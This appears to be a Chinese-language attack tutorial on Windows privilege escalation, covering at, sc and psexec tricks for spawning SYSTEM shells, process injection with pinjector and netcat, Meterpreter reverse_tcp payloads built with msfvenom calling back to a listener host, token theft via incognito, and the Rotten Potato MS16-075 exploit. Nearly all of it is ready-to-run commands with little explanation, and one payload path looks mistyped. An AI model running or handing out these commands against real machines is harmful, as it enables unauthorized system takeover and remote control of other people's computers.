windows提权之at&sc&ps&进程注入&令牌窃取
0x01 AT&SC&PS命令提权
1.at命令提权
at是一个计划任务的命令,当调用计划任务是以system权限运行的,就实现提权
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
win2003及以下版本试用
环境:win2003
at 16:40 /interactive cmd #在生成system权限的cmd
2、sc命令提权
sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
适用版本:windows 7、8、03、08、12、16
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
windows2003 成功,但是其他版本没有成功
环境:win2003
#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd
3、ps提权
pstools是微软官方自带的工具,可以用来帮助管理系统
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
环境:win2016
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
0x02 进程迁移注入提权
注入到其他以system运行的进程中
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
1.pinjector进程注入
环境:win2003
工具:pinjector
pinjector -l
pinjector -p 420 cmd 3344
nc 192.168.46.149 3344
2.MSF进程注入
环境:win2016 administrator
进行进程注入时,当权限过低时是迁移失败的
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进程注入
ps //查看进程
migrate PID //迁移对应PID,找是system的权限运行的进程
0x03 令牌窃取提权
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。
所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。
1.令牌窃取提权
环境:Win2008 administator
当取得普通用户可以登录时可以使用此方法提权,本地用户提权
进行令牌窃取时,当权限过低时是窃取失败的,找不到system的令牌
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
2.烂土豆ms16-075提权
烂土豆本质上其实也是一种令牌窃取类型的提权
烂土豆可以本地也可以在web上提权
环境:win7+iis+asp iis低权限用户
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
或使用msf对应的模块
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#使用烂土豆
use exploit/windows/local/ms16_075_reflection-juicy
set session 1
set lhost 0.0.0.0
run
但是如果用户是本地非administrator用户,有这个漏洞也是利用失败的
需要是以下用户才可以成功提权
管理员(admininstrator)或者本地的服务账户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器
IIS与SqlServer用户
参考文章: